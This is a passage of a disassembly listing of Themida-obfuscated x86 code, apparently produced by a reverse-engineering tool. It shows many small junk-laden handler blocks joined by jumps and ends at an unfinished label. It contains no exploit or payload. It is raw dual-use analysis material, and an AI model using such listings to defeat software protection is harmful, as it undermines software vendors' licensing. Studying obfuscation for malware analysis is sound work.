loc_58BBA7: ; CODE XREF: Themida_:0058FED9j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_58B73B
; ---------------------------------------------------------------------------
loc_58BBB8: ; CODE XREF: Themida_:0058BDEFj
mov esp, [esp]
jmp loc_58C64A
; ---------------------------------------------------------------------------
loc_58BBC0: ; CODE XREF: Themida_:0059132Bj
mov edx, 5C1559BBh
not edx
jmp loc_58DBC8
; ---------------------------------------------------------------------------
loc_58BBCC: ; CODE XREF: Themida_:005901E3j
add edx, 4
xor edx, [esp]
jmp loc_58B740
; ---------------------------------------------------------------------------
loc_58BBD7: ; CODE XREF: Themida_:00589CBDj
xchg ecx, [esp]
pop esp
mov [esp], eax
jmp loc_58A623
; ---------------------------------------------------------------------------
loc_58BBE3: ; CODE XREF: Themida_:0058CF28j
mov ebx, 7FFD7A0Ah
jmp loc_5929C1
; ---------------------------------------------------------------------------
loc_58BBED: ; CODE XREF: Themida_:0058E26Bj
pop esp
sub esp, 4
mov [esp], ecx
mov cl, bl
mov dl, cl
jmp loc_5921E9
; ---------------------------------------------------------------------------
loc_58BC00: ; CODE XREF: Themida_:00594004j
pop edi
jmp loc_59448E
; ---------------------------------------------------------------------------
loc_58BC06: ; CODE XREF: Themida_:00594E90j
movzx cx, al
push cx
pushf
jmp loc_5959D6
; ---------------------------------------------------------------------------
loc_58BC12: ; CODE XREF: Themida_:0058C9C0j
mov edx, esp
jmp loc_59579E
; ---------------------------------------------------------------------------
loc_58BC19: ; CODE XREF: Themida_:00591AB1j
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_595A62
; ---------------------------------------------------------------------------
loc_58BC2A: ; CODE XREF: Themida_:0058DA6Cj
xchg ebx, [esp]
mov esp, [esp]
jmp loc_589462
; ---------------------------------------------------------------------------
mov eax, [esp]
push ebx
mov ebx, esp
jmp loc_592706
; ---------------------------------------------------------------------------
loc_58BC40: ; CODE XREF: Themida_:0058DC1Bj
not ch
jmp loc_593CD0
; ---------------------------------------------------------------------------
loc_58BC47: ; CODE XREF: Themida_:00589779j
push edi
mov edi, 0AFE0A87h
sub esi, edi
pop edi
sub edx, esi
pop esi
mov ecx, edx
jmp loc_58FFA6
; ---------------------------------------------------------------------------
loc_58BC5A: ; CODE XREF: Themida_:0058B41Cj
jmp loc_58D210
; ---------------------------------------------------------------------------
loc_58BC5F: ; CODE XREF: Themida_:00589804j
add ebp, edx
pop edx
jmp loc_58AC00
; ---------------------------------------------------------------------------
loc_58BC67: ; CODE XREF: Themida_:00591D58j
add edi, 0F4F6BAABh
add ecx, 4F64485Bh
sub ecx, edi
sub ecx, 4F64485Bh
pop edi
pop ebx
xchg ecx, [esp]
mov esp, [esp]
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], ebx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov ebx, [esp]
push esi
mov esi, esp
add esi, 4
push edi
mov edi, 4
jmp loc_589613
; ---------------------------------------------------------------------------
loc_58BCB1: ; CODE XREF: Themida_:00590C27j
xor edi, 0AA14E68Ah
add ebx, edi
mov edi, [esp]
add esp, 4
jmp loc_594FB4
; ---------------------------------------------------------------------------
loc_58BCC7: ; CODE XREF: Themida_:00591252j
shl ecx, 5
neg ecx
jmp loc_58FB62
; ---------------------------------------------------------------------------
loc_58BCD1: ; CODE XREF: Themida_:00593A36j
mov edx, 3E143838h
jmp loc_59053C
; ---------------------------------------------------------------------------
loc_58BCDB: ; CODE XREF: Themida_:005918F6j
neg eax
jmp loc_590CBC
; ---------------------------------------------------------------------------
loc_58BCE2: ; CODE XREF: Themida_:005953B1j
mov edi, eax
pop eax
push eax
mov eax, 0B22C1E9h
sub edi, eax
jmp loc_5942C8
; ---------------------------------------------------------------------------
loc_58BCF2: ; CODE XREF: Themida_:0058EE4Dj
push 41BDh
jmp loc_58C292
; ---------------------------------------------------------------------------
loc_58BCFC: ; CODE XREF: Themida_:0058EE0Dj
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58BD0F: ; CODE XREF: Themida_:00590671j
add dl, 0E2h
jmp loc_594E65
; ---------------------------------------------------------------------------
loc_58BD17: ; CODE XREF: Themida_:0058CDF4j
xor edx, eax
xor eax, edx
push 492h
mov [esp], edx
push edi
push dword ptr [esp+4]
push dword ptr [esp]
pop edi
add esp, 4
pop dword ptr [esp]
not edi
jmp loc_590616
; ---------------------------------------------------------------------------
loc_58BD3C: ; CODE XREF: Themida_:0058A16Ej
mov [esp], ebx
mov bh, ch
mov dh, bh
jmp loc_58CC09
; ---------------------------------------------------------------------------
loc_58BD48: ; CODE XREF: Themida_:005927AAj
mov edx, [esp]
add esp, 4
sub eax, edi
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_58A564
; ---------------------------------------------------------------------------
loc_58BD62: ; CODE XREF: Themida_:00591002j
add esi, 4
jmp loc_59326F
; ---------------------------------------------------------------------------
loc_58BD6D: ; CODE XREF: Themida_:0058D549j
push ax
mov ah, 0C1h
xor bh, ah
pop ax
add al, 0D7h
add al, bh
sub al, 0D7h
pop ebx
push edx
push 21F0h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov edx, [esp]
jmp loc_58F4B7
; ---------------------------------------------------------------------------
loc_58BD92: ; CODE XREF: Themida_:0058FC27j
sub esp, 2
mov [esp], dx
mov dl, 0B5h
shr dl, 8
jmp loc_5923B0
; ---------------------------------------------------------------------------
loc_58BDA6: ; CODE XREF: Themida_:00595291j
mov ebp, 432253F6h
jmp loc_58CD2A
; ---------------------------------------------------------------------------
loc_58BDB0: ; CODE XREF: Themida_:00590E5Fj
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
xor esi, [esp]
jmp loc_593561
; ---------------------------------------------------------------------------
loc_58BDC8: ; CODE XREF: Themida_:00592C18j
pop edx
xor edx, 3CC610DAh
pop edi
jmp loc_59534E
; ---------------------------------------------------------------------------
unk_58BDD5 db 0 ; CODE XREF: Themida_:005931A1j
; ---------------------------------------------------------------------------
clc
pop ebx
add al, 2Bh
push dword ptr [esp]
jmp loc_589691
; ---------------------------------------------------------------------------
loc_58BDE2: ; CODE XREF: Themida_:005936DFj
sub eax, 50BE6782h
jmp loc_595580
; ---------------------------------------------------------------------------
loc_58BDEC: ; CODE XREF: Themida_:0058D939j
pop dword ptr [esp]
jmp loc_58BBB8
; ---------------------------------------------------------------------------
loc_58BDF4: ; CODE XREF: Themida_:0058E7B5j
push ebp
mov ebp, 3E7083DAh
sub esi, ebp
jmp loc_595510
; ---------------------------------------------------------------------------
loc_58BE01: ; CODE XREF: Themida_:0058A1E9j
push ebx
mov ebx, 336C5B9Fh
mov edi, 4FBCD16Dh
sub edi, ebx
mov ebx, [esp]
add esp, 4
xor edx, edi
pop edi
push edx
jmp loc_58E48C
; ---------------------------------------------------------------------------
loc_58BE20: ; CODE XREF: Themida_:0058DD03j
push edi
push 22484D69h
pop edi
shl edi, 5
push esi
jmp loc_58BB88
; ---------------------------------------------------------------------------
loc_58BE30: ; CODE XREF: Themida_:0058FEC0j
and edx, 1D1F78ECh
jmp loc_58DF9B
; ---------------------------------------------------------------------------
loc_58BE3B: ; CODE XREF: Themida_:00594CE4j
sub esp, 4
jmp loc_591084
; ---------------------------------------------------------------------------
loc_58BE46: ; CODE XREF: Themida_:0058F1D6j
add ecx, edi
push ebx
mov ebx, 723941ABh
sub ecx, ebx
pop ebx
add ecx, 0AF921A3h
mov eax, [ecx]
mov ecx, [esp]
add esp, 4
push edx
push ebp
jmp loc_58982E
; ---------------------------------------------------------------------------
loc_58BE66: ; CODE XREF: Themida_:00594B52j
shr word ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58BE70: ; CODE XREF: Themida_:0059349Dj
add ecx, 2
jmp loc_591E8B
; ---------------------------------------------------------------------------
loc_58BE7B: ; CODE XREF: Themida_:0058F4A8j
push dword ptr [edi+eax*4]
jmp loc_58FEBA
; ---------------------------------------------------------------------------
loc_58BE83: ; CODE XREF: Themida_:005913B8j
push esi
jmp loc_592065
; ---------------------------------------------------------------------------
loc_58BE89: ; CODE XREF: Themida_:0059521Ej
pop edx
sub al, 0A0h
jmp loc_58B05D
; ---------------------------------------------------------------------------
loc_58BE91: ; CODE XREF: Themida_:0058F483j
push edi
mov edi, 32062704h
add edi, 1
shr edi, 2
jmp loc_5922C2
; ---------------------------------------------------------------------------
loc_58BEA5: ; CODE XREF: Themida_:00594652j
mov ecx, 4
add edi, ecx
pop ecx
add edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_591CE9
; ---------------------------------------------------------------------------
loc_58BEBE: ; CODE XREF: Themida_:0058A771j
mov ebp, [esp]
jmp loc_5938CC
; ---------------------------------------------------------------------------
loc_58BEC6: ; CODE XREF: Themida_:0058EB38j
pop ebp
add ebp, 4
sub ebp, 4
push ebp
jmp loc_594724
; ---------------------------------------------------------------------------
loc_58BED9: ; CODE XREF: Themida_:0058D394j
pop esi
add esi, 4
push 5FF9h
mov [esp], ebp
mov ebp, 10BA18A2h
add ebp, 3F68740Ah
jmp loc_58AF63
; ---------------------------------------------------------------------------
loc_58BEF8: ; CODE XREF: Themida_:00594468j
pop ebx
sub ecx, esi
pop esi
sub eax, ecx
pop ecx
add ebx, 1026E79h
push 110Eh
mov [esp], ecx
push ebx
mov ebx, 23A243F7h
jmp loc_58E46E
; ---------------------------------------------------------------------------
loc_58BF18: ; CODE XREF: Themida_:00594DD0j
add edx, 35CB5451h
pop ecx
push edx
mov edx, 55795F21h
neg edx
sub edx, 33C66604h
add eax, edx
pop edx
add eax, edx
sub eax, 76C03ADBh
pop edx
sub eax, 2
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_59419C
; ---------------------------------------------------------------------------
loc_58BF49: ; CODE XREF: Themida_:0058DB2Fj
push 61901016h
pop edi
jmp loc_593097
; ---------------------------------------------------------------------------
loc_58BF54: ; CODE XREF: Themida_:0058A651j
pop ebx
xchg ecx, [esp]
jmp loc_58C39A
; ---------------------------------------------------------------------------
loc_58BF5D: ; CODE XREF: Themida_:005946D7j
mov edx, [esp]
add esp, 4
sub ebp, eax
jmp loc_58D88D
; ---------------------------------------------------------------------------
loc_58BF6A: ; CODE XREF: Themida_:00590312j
add edx, 4
xchg edx, [esp]
pop esp
add esp, 4
jmp loc_590F09
; ---------------------------------------------------------------------------
loc_58BF79: ; CODE XREF: Themida_:0058DF75j
pop edx
jmp loc_58ABDE
; ---------------------------------------------------------------------------
loc_58BF7F: ; CODE XREF: Themida_:00590380j
mov esi, ebx
pop ebx
xor eax, esi
mov esi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_594846
; ---------------------------------------------------------------------------
loc_58BF98: ; CODE XREF: Themida_:0058E98Bj
pop eax
jmp loc_58BB6B
; ---------------------------------------------------------------------------
loc_58BF9E: ; CODE XREF: Themida_:005905F8j
add ebx, 53306D03h
jmp loc_58AC0B
; ---------------------------------------------------------------------------
loc_58BFA9: ; CODE XREF: Themida_:0059509Ej
xchg edi, [esp]
jmp loc_5894EE
; ---------------------------------------------------------------------------
loc_58BFB1: ; CODE XREF: Themida_:0058F376j
mov eax, 63A710A4h
inc eax
neg eax
add eax, 0DE20E33h
shl eax, 3
jmp loc_58DC8E
; ---------------------------------------------------------------------------
loc_58BFC6: ; CODE XREF: Themida_:0058B6A7j
add esi, 4
xchg esi, [esp]
pop esp
mov edi, edx
pop edx
xor edi, 219D3CB1h
push ebx
mov ebx, 3FD024DDh
xor ebx, 476503Dh
not ebx
push esi
jmp loc_591B4C
; ---------------------------------------------------------------------------
loc_58BFED: ; CODE XREF: Themida_:00592EE7j
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
btc [esp], ax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58C005: ; CODE XREF: Themida_:0058F88Aj
pop esp
mov [esp], edx
mov edx, 4
sub eax, 54311CB6h
sub eax, 6A067A81h
add eax, edx
jmp loc_590901
; ---------------------------------------------------------------------------
loc_58C01F: ; CODE XREF: Themida_:005894F6j
mov eax, esp
push edx
sub esp, 4
mov [esp], ebx
jmp loc_58B0C4
; ---------------------------------------------------------------------------
loc_58C02D: ; CODE XREF: Themida_:00593A5Ej
sub esi, ecx
mov ecx, [esp]
add esp, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], ebx
mov eax, [esp]
push ebx
jmp loc_58C20A
; ---------------------------------------------------------------------------
loc_58C04A: ; CODE XREF: Themida_:00590208j
add ebx, 54D4FACAh
add edi, ebx
pop ebx
xchg esi, edi
not esi
xchg esi, edi
push edx
mov edx, 79D84C36h
neg edx
neg edx
or edx, 13A9773Bh
dec edx
xor edx, 5A9A221Ah
add edi, edx
pop edx
sub edi, 7EC72E8Bh
jmp loc_58C65A
; ---------------------------------------------------------------------------
loc_58C07E: ; CODE XREF: Themida_:0058A6BEj
mov [esp], ecx
mov ecx, 4
jmp loc_58E8D4
; ---------------------------------------------------------------------------
loc_58C08B: ; CODE XREF: Themida_:00592281j
pop esi
jmp loc_58D895
; ---------------------------------------------------------------------------
loc_58C091: ; CODE XREF: Themida_:005903EEj
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_5899A6
; ---------------------------------------------------------------------------
loc_58C0A3: ; CODE XREF: Themida_:0058D659j
push 282Eh
mov [esp], ecx
jmp loc_594EA9
; ---------------------------------------------------------------------------
loc_58C0B0: ; CODE XREF: Themida_:00593F7Ej
or dl, ah
pop eax
push 3346h
mov [esp], eax
mov ah, 26h
sub ah, 0E8h
sub dl, 10h
add dl, ah
add dl, 10h
pop eax
jmp loc_58AB28
; ---------------------------------------------------------------------------
loc_58C0CE: ; CODE XREF: Themida_:0059424Bj
add edi, 4
xchg edi, [esp]
pop esp
push eax
jmp loc_591508
; ---------------------------------------------------------------------------
loc_58C0DE: ; CODE XREF: Themida_:0058B97Fj
mov edi, [esp]
add esp, 4
add esp, 4
push edi
push ebx
mov ebx, 3BE3476Bh
mov edi, ebx
pop ebx
sub edi, 27F70716h
push 6D55h
mov [esp], ebx
jmp loc_589A55
; ---------------------------------------------------------------------------
loc_58C104: ; CODE XREF: Themida_:00594299j
pop ecx
or eax, 29EB4E80h
sub eax, 0AF2CB3F1h
sub ebp, 5644782Bh
jmp loc_58CD53
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], al
pushf
jmp loc_58C1D2
; ---------------------------------------------------------------------------
loc_58C129: ; CODE XREF: Themida_:00590BA3j
pop dword ptr [esp]
pop esp
mov [esp], esi
jmp loc_58EE68
; ---------------------------------------------------------------------------
loc_58C135: ; CODE XREF: Themida_:00594437j
add dh, al
mov eax, [esp]
add esp, 4
sub al, 50h
add al, dh
add al, 50h
mov dx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 2
xchg eax, [esp]
pop esp
push ecx
mov ch, 5Bh
sub ch, 0D9h
add ch, 9Bh
add bl, ch
pop ecx
push edx
jmp loc_590E96
; ---------------------------------------------------------------------------
loc_58C16B: ; CODE XREF: Themida_:0058E1BCj
mov eax, [esp]
jmp loc_5898EF
; ---------------------------------------------------------------------------
loc_58C173: ; CODE XREF: Themida_:00590C70j
pop ebp
jmp loc_5934E5
; ---------------------------------------------------------------------------
loc_58C179: ; CODE XREF: Themida_:0058E959j
mov ecx, [esp]
add esp, 4
pop edi
neg ebx
push eax
mov eax, 4C447C7Fh
push ecx
mov ecx, 11CE4F96h
xor eax, ecx
jmp loc_59489A
; ---------------------------------------------------------------------------
loc_58C195: ; CODE XREF: Themida_:00593C0Dj
or ebp, 301A6D8Eh
jmp loc_58BB54
; ---------------------------------------------------------------------------
loc_58C1A0: ; CODE XREF: Themida_:0058AA9Bj
and ebp, 4AB56D0h
jmp loc_58B921
; ---------------------------------------------------------------------------
loc_58C1AB: ; CODE XREF: Themida_:0058956Bj
mov ecx, ebx
mov ebx, [esp]
add esp, 4
add edi, ecx
jmp loc_591019
; ---------------------------------------------------------------------------
loc_58C1BA: ; CODE XREF: Themida_:0058B856j
push 727Dh
mov [esp], ecx
mov ch, 0CAh
or ch, 81h
add ch, 1
push edx
mov dh, 0A0h
jmp loc_5924CC
; ---------------------------------------------------------------------------
loc_58C1D2: ; CODE XREF: Themida_:0058C124j
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58C1D7: ; CODE XREF: Themida_:0058CB1Ej
mov eax, esi
jmp loc_59571B
; ---------------------------------------------------------------------------
loc_58C1DE: ; CODE XREF: Themida_:0058F42Ej
add esp, 4
push edx
mov dh, 89h
jmp loc_58CD9B
; ---------------------------------------------------------------------------
loc_58C1E9: ; CODE XREF: Themida_:00590102j
sub esi, 27CF0D8Ah
add esi, edx
add esi, 27CF0D8Ah
pop edx
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebx
jmp loc_590DEC
; ---------------------------------------------------------------------------
loc_58C20A: ; CODE XREF: Themida_:0058C045j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push 29CBh
mov [esp], ecx
jmp loc_58E081
; ---------------------------------------------------------------------------
loc_58C229: ; CODE XREF: Themida_:0058B04Dj
xor esi, 4D725A95h
sub edi, esi
pop esi
xor eax, edi
jmp loc_58A776
; ---------------------------------------------------------------------------
loc_58C239: ; CODE XREF: Themida_:0058968Cj
mov [esp], eax
pop dword ptr [edi+40h]
mov eax, [esp]
sub esp, 4
jmp loc_58DBEA
; ---------------------------------------------------------------------------
loc_58C24A: ; CODE XREF: Themida_:0058AA53j
sub ebx, 2992211Bh
sub ebx, 0BC0F2Dh
push edi
mov edi, 491073F5h
shl edi, 3
push edx
mov edx, 55A4F05Ah
xor edi, edx
pop edx
add ebx, 97917F6h
sub ebx, 2238750Ah
sub ebx, 7E8B55C5h
add ebx, edi
jmp loc_58DE62
; ---------------------------------------------------------------------------
loc_58C281: ; CODE XREF: Themida_:00595483j
or ebx, edi
pop edi
shl ebx, 2
add ebx, 8BE57D0h
jmp loc_58FC5F
; ---------------------------------------------------------------------------
loc_58C292: ; CODE XREF: Themida_:0058BCF7j
mov [esp], esi
mov esi, 372541ABh
mov ebp, 0A0F8E727h
add ebp, 32927A11h
sub ebp, esi
sub ebp, 32927A11h
pop esi
jmp loc_58FC69
; ---------------------------------------------------------------------------
loc_58C2B3: ; CODE XREF: Themida_:0058B559j
push dword ptr [esp]
pop eax
push ebp
mov ebp, esp
add ebp, 4
push 0E60h
mov [esp], eax
mov eax, 0C2C77C9h
xor eax, 1AC970EAh
dec eax
jmp loc_592A0C
; ---------------------------------------------------------------------------
loc_58C2D8: ; CODE XREF: Themida_:00594CFCj
mov [esp], edx
mov dl, 98h
shl dl, 1
shl dl, 5
xor dl, 16h
add bl, dl
pop edx
push edx
jmp loc_5955AF
; ---------------------------------------------------------------------------
lodsb
push ebx
mov bh, 1Eh
jmp loc_58B36A
; ---------------------------------------------------------------------------
loc_58C2F7: ; CODE XREF: Themida_:0058DD8Ej
push dword ptr [esp]
pop eax
add esp, 4
loc_58C2FE: ; CODE XREF: Themida_:00589ECCj
push 49DBh
mov [esp], ebx
push ecx
mov ecx, 10184DCCh
push edx
mov edx, 31F9553Eh
add [esp+8], edx
pop edx
jmp loc_594A18
; ---------------------------------------------------------------------------
dd 83242489h, 0FF042404h, 525F2434h, 0CCE95A54h
db 36h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_58C32F: ; CODE XREF: Themida_:00589D74j
shl dh, 7
add dh, 0C8h
sub al, 37h
jmp loc_58EAC8
; ---------------------------------------------------------------------------
loc_58C33C: ; CODE XREF: Themida_:0058F865j
mov esi, 2
jmp loc_58B3C3
; ---------------------------------------------------------------------------
loc_58C346: ; CODE XREF: Themida_:00594C3Bj
mov [esp], ax
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58C34F: ; CODE XREF: Themida_:0058C4ECj
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edi
sub esp, 4
mov [esp], esp
push edx
mov edx, 4
sub dword ptr [esp+4], 70EB5AD6h
add [esp+4], edx
add dword ptr [esp+4], 70EB5AD6h
mov edx, [esp]
add esp, 4
pop edi
push ebp
mov ebp, 4
jmp loc_590463
; ---------------------------------------------------------------------------
loc_58C39A: ; CODE XREF: Themida_:0058BF58j
mov esp, [esp]
mov [esp], ecx
push 3FCh
pop ecx
push edx
mov edx, 6DDC4620h
add edi, edx
mov edx, [esp]
add esp, 4
add edi, ecx
push edx
mov edx, 0E91439Fh
add edx, 5F4B0281h
sub edi, edx
pop edx
mov ecx, [esp]
jmp loc_58F495
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
jmp loc_58E5F8
; ---------------------------------------------------------------------------
loc_58C3D7: ; CODE XREF: Themida_:0058FF16j
pop esp
pop dword ptr [esp]
pop esp
jmp loc_591B38
; ---------------------------------------------------------------------------
loc_58C3E1: ; CODE XREF: Themida_:00589FE6j
push eax
mov eax, esp
add eax, 4
push edx
mov edx, 4
add eax, edx
pop edx
xchg eax, [esp]
pop esp
push 30F2h
mov [esp], edi
mov edi, 2
add edx, edi
jmp loc_58D06D
; ---------------------------------------------------------------------------
loc_58C40A: ; CODE XREF: Themida_:0058E792j
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58C40F: ; CODE XREF: Themida_:00589D4Dj
sub ah, 73h
push edx
push eax
mov al, 0EEh
and al, 13h
jmp loc_58AC99
; ---------------------------------------------------------------------------
loc_58C41D: ; CODE XREF: Themida_:0058D7D9j
add edx, ebp
sub edx, 28A66170h
jmp loc_5916EB
; ---------------------------------------------------------------------------
loc_58C42A: ; CODE XREF: Themida_:005946A6j
mov dh, bh
jmp loc_594534
; ---------------------------------------------------------------------------
loc_58C431: ; CODE XREF: Themida_:00592A8Aj
add esp, 2
push eax
mov al, 64h
jmp loc_590A9C
; ---------------------------------------------------------------------------
loc_58C43C: ; CODE XREF: Themida_:00593EB8j
xchg ebx, [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
push edi
mov edi, esp
add edi, 4
jmp loc_58A38B
; ---------------------------------------------------------------------------
loc_58C454: ; CODE XREF: Themida_:00589EEEj
mov esp, [esp]
mov [esp], edi
jmp loc_59266F
; ---------------------------------------------------------------------------
loc_58C45F: ; CODE XREF: Themida_:00591E2Aj
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58C464: ; CODE XREF: Themida_:00594AC2j
push dword ptr [esp]
pop edx
push ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
add ebp, 4
push eax
mov eax, 4
add ebp, eax
pop eax
xchg ebp, [esp]
pop esp
push edx
mov edx, 1D276FF2h
jmp loc_58D60E
; ---------------------------------------------------------------------------
loc_58C495: ; CODE XREF: Themida_:005918AAj
push esi
mov esi, esp
add esi, 4
jmp loc_58CDDB
; ---------------------------------------------------------------------------
loc_58C4A3: ; CODE XREF: Themida_:0058DBD7j
pop esi
push edi
jmp loc_58FA4B
; ---------------------------------------------------------------------------
loc_58C4AA: ; CODE XREF: Themida_:00592B14j
pop ebp
pop ebp
sub dword ptr [esp+4], 6B5D0E30h
sub [esp+4], ecx
add dword ptr [esp+4], 6B5D0E30h
pop ecx
pop eax
add eax, 725E1338h
movzx ax, byte ptr [eax]
push small 2EF4h
mov [esp], ax
jmp loc_589462
; ---------------------------------------------------------------------------
push edx
mov edx, 2E5F7C37h
inc edx
push eax
jmp loc_58DC20
; ---------------------------------------------------------------------------
loc_58C4E5: ; CODE XREF: Themida_:005916EFj
xor [esp], edx
xor edx, [esp]
pop esp
jmp loc_58C34F
; ---------------------------------------------------------------------------
loc_58C4F1: ; CODE XREF: Themida_:00594A13j
push ebx
push ebx
mov ebx, 61E95877h
add [esp+4], ebx
jmp loc_58EE62
; ---------------------------------------------------------------------------
loc_58C501: ; CODE XREF: Themida_:00590E9Dj
push eax
mov al, 90h
shr al, 6
xor al, 5Eh
add al, 6Ch
add dh, al
pop eax
add dh, 0BDh
jmp loc_594F06
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
jmp loc_592854
; ---------------------------------------------------------------------------
loc_58C520: ; CODE XREF: Themida_:00593748j
mov ebx, ecx
pop ecx
jmp loc_592E39
; ---------------------------------------------------------------------------
loc_58C528: ; CODE XREF: Themida_:00593ED4j
add esp, 4
add edx, ebp
pop ebp
jmp loc_58C99B
; ---------------------------------------------------------------------------
loc_58C533: ; CODE XREF: Themida_:0058A31Ej
mov esi, 28694884h
not esi
push ebp
mov ebp, 28694889h
add esi, ebp
pop ebp
add ebp, esi
jmp loc_589E80
; ---------------------------------------------------------------------------
lodsd
push 52A0h
mov [esp], edx
mov edx, 6766217Eh
add eax, edx
mov edx, [esp]
add esp, 4
jmp loc_593C89
; ---------------------------------------------------------------------------
loc_58C565: ; CODE XREF: Themida_:0059012Bj
mov edi, [esp]
jmp loc_5901A9
; ---------------------------------------------------------------------------
loc_58C56D: ; CODE XREF: Themida_:0058A9B3j
add esp, 4
push edx
mov edx, 10705DACh
sub edx, 10705DA8h
jmp loc_591EBF
; ---------------------------------------------------------------------------
loc_58C581: ; CODE XREF: Themida_:0058B349j
add ecx, ebp
add ecx, 331B49A8h
sub ecx, 0B66298Eh
jmp loc_58AB4B
; ---------------------------------------------------------------------------
loc_58C594: ; CODE XREF: Themida_:00591A83j
sub ebx, eax
sub ebx, 7E2871E2h
sub ebx, 437A5E9Fh
push ebp
mov ebp, 187978BCh
sub ebx, 6B8B3576h
sub ebx, ebp
add ebx, 6B8B3576h
pop ebp
jmp loc_5909B9
; ---------------------------------------------------------------------------
loc_58C5BC: ; CODE XREF: Themida_:0058AC75j
push dword ptr [esp+4]
mov ebx, [esp]
jmp loc_592A24
; ---------------------------------------------------------------------------
loc_58C5C8: ; CODE XREF: Themida_:00595963j
sub eax, ebp
pop ebp
push ecx
push edx
mov edx, 29FA1F73h
add edx, 0DEDAF7DEh
mov ecx, edx
pop edx
dec ecx
push ebx
mov ebx, 29793FF6h
or ebx, 6DC37E1Dh
neg ebx
sub ebx, 5E515D18h
push edx
jmp loc_58A1BC
; ---------------------------------------------------------------------------
loc_58C5F6: ; CODE XREF: Themida_:0059465Aj
push edx
mov edx, 25CF06BEh
shl edx, 7
jmp loc_58FD30
; ---------------------------------------------------------------------------
loc_58C604: ; CODE XREF: Themida_:00589EA0j
mov esi, [esp]
add esp, 4
xchg edx, [esp]
jmp loc_58C959
; ---------------------------------------------------------------------------
loc_58C615: ; CODE XREF: Themida_:005912FFj
push ebp
push 7739h
mov [esp], edi
jmp loc_59576F
; ---------------------------------------------------------------------------
loc_58C623: ; CODE XREF: Themida_:005925CAj
mov edx, [esp]
add esp, 4
jmp loc_58F6CB
; ---------------------------------------------------------------------------
loc_58C62E: ; CODE XREF: Themida_:00590F7Fj
add ebp, 4
xchg ebp, [esp]
pop esp
push eax
mov eax, 7E5D634Ah
jmp loc_593DF8
; ---------------------------------------------------------------------------
neg word ptr [esp]
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58C64A: ; CODE XREF: Themida_:0058BBBBj
movsx cx, al
push esi
jmp loc_5934C4
; ---------------------------------------------------------------------------
loc_58C654: ; CODE XREF: Themida_:0058F9BDj
dec ebx
jmp loc_595AF0
; ---------------------------------------------------------------------------
loc_58C65A: ; CODE XREF: Themida_:0058C079j
add ebx, edi
jmp loc_594F3F
; ---------------------------------------------------------------------------
loc_58C661: ; CODE XREF: Themida_:0059216Bj
mov dx, [esp]
add esp, 2
xor al, bh
mov bx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 2
jmp loc_58A46F
; ---------------------------------------------------------------------------
loc_58C682: ; CODE XREF: Themida_:0058F7EFj
pop ecx
jmp loc_5939A5
; ---------------------------------------------------------------------------
loc_58C688: ; CODE XREF: Themida_:0058A7F5j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_58CC3B
; ---------------------------------------------------------------------------
loc_58C69E: ; CODE XREF: Themida_:00593F8Bj
push ebp
mov ebp, 15276E19h
not ebp
add ebp, 202721D9h
add ebp, 1B0C2158h
xor ebp, 6D34ADE1h
sub esi, ebp
pop ebp
xor esi, 0C06997E2h
jmp loc_58A1EE
; ---------------------------------------------------------------------------
loc_58C6C6: ; CODE XREF: Themida_:005902F6j
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
push eax
push ecx
mov ch, 54h
mov ah, 0B0h
xor ah, ch
pop ecx
inc ah
jmp loc_58F09E
; ---------------------------------------------------------------------------
loc_58C6E0: ; CODE XREF: Themida_:00592D89j
push edi
mov edi, 624F7F0Ch
add edi, 9F8A3C6h
add esi, edi
jmp loc_589B75
; ---------------------------------------------------------------------------
loc_58C6F3: ; CODE XREF: Themida_:005944F3j
push esi
mov esi, 2259739Dh
push 1D0593h
pop edi
add edi, 12023D83h
jmp loc_58DBE3
; ---------------------------------------------------------------------------
loc_58C70A: ; CODE XREF: Themida_:0058FD37j
inc edx
and edx, 178A0FA4h
sub edx, 9F1095ECh
mov ebx, edx
jmp loc_59554B
; ---------------------------------------------------------------------------
loc_58C71E: ; CODE XREF: Themida_:0059347Cj
add eax, esi
mov esi, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push esi
jmp loc_5947CF
; ---------------------------------------------------------------------------
loc_58C741: ; CODE XREF: Themida_:0058D388j
push edi
mov edi, 1
mov ebx, edi
mov edi, [esp]
jmp loc_58AB8F
; ---------------------------------------------------------------------------
loc_58C751: ; CODE XREF: Themida_:005935AAj
